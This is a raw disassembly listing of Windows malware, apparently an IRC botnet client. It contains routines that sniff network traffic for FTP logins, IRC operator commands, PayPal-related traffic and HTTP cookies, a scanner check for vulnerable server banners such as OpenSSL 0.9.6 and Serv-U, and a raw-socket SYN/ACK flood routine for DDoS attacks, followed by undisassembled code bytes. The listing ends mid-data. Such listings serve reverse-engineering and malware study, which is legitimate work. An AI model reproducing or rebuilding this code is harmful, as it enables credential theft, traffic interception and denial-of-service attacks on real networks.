loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9F8 lea eax, [ebp+var_3B8] push eax call dword_4CBA68 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA64 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA10 cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB978 push eax lea eax, [ebp+var_2B8] push offset unk_437880 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA7C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB990 cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB978 push eax lea eax, [ebp+var_2B8] push offset unk_437850 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA7C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9FC cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43781C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377E8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377B4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43777C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437744 jmp short loc_413573 sub_4131EC endp ; --------------------------------------------------------------------------- byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 3DE80000h, 900227D0h dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 78AC68FFh, 0E8500043h, 8C1Eh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF804DE8h, 565959FFh, 2CC96FE8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: ___:00413A0Bp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB954 test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA88 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9C4 cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9E4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9E4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9E4 mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9E4 push 12345678h mov [ebp+var_14], ax call dword_4CB9E0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9E4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 2780590h nop lea eax, [ebp+var_1C] push eax call near ptr 278028Bh nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9E4 mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9E4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9E0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9E4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA48 cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 278028Bh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB978 push eax lea eax, [ebp+var_F4] push offset dword_4378D4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA7C pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB93C mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+24h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: ___:00413A15j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CBA6415h, 0FFF88300h, 75FC4589h, 7815FF5Fh dd 50004CB9h, 0FC44858Dh, 0D468FFFFh, 50004379h, 87E9E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB9C415h, 0FFF88300h, 15FF5D75h dd 4CB978h, 44858D50h, 68FFFFFCh, 4379A4h, 8770E850h, 0C4830000h dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh dd 0C4C6E857h, 8D90022Ch, 0FFFE4885h, 15FF50FFh, 4CBA24h dd 75FFF883h, 44858D55h, 68FFFFFCh, 437984h, 8708E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h dd 575959FFh, 0C45EE890h, 106A022Ch, 57E4458Dh, 83C2E850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9E415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 2415FF50h, 8B004CBAh, 4270B035h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E75005C6h dd 0FF45004Ch, 4CB9E415h, 0D47D3900h, 0E752A366h, 8966004Ch dd 4CE7541Dh, 3D896600h, 4CE756h, 0E75805C6h, 8880004Ch dd 4CE7591Dh, 3D896600h, 4CE75Ah, 87E83074h, 8B000086h dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h dd 8E3C1D8h, 8669E8h, 6AD80300h, 5C1D8901h, 5B004CE7h dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA2415h dd 0E75CA300h, 458B004Ch, 0E760A3E8h, 37E8004Ch, 99000086h dd 100B9h, 88F9F700h, 4CE76415h, 8624E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE765h, 8611E8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE7663Dh, 1D896600h, 4CE76Ah, 15896642h dd 4CE768h, 85E9E8h, 0FFB99900h, 0F7000000h, 6C6852F9h dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE750h, 0FFFC75FFh, 4CBA4815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 7C15FFFCh, 0FF004CBAh dd 4CB97815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43793C68h dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h dd 0FF022CC2h, 15FFFC75h, 4CBA7Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378F068h dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+542Do dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 6C15FF00h dd 89004CB9h, 858D0845h, 0FFFFFF40h, 2415FF50h, 8B004CBAh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 6815FF50h dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 2C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh dd 0C132E890h, 0C33B022Ch, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB8FCh, 0C0753B46h, 75FFDA7Ch, 9C15FF08h, 8D004CBAh dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 437A0068h, 0FE85000h dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h dd 59FFFF77h, 0E8905359h, 22CC064h dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+5679o dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C67EE800h dd 50900227h, 82E7E8h, 116A5900h, 26A026Ah, 0BA6415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA24h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA6815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 8068FFFFh dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Ch dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB9E4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CBA4815h, 0D875FF00h, 25CDBEE8h dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h dd 42F9F700h, 0E415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 5468FFFFh, 5000437Ah, 80F9E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h dd 575959FFh, 0BE4EE890h db 2Ch, 2 word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 7AA868FFh, 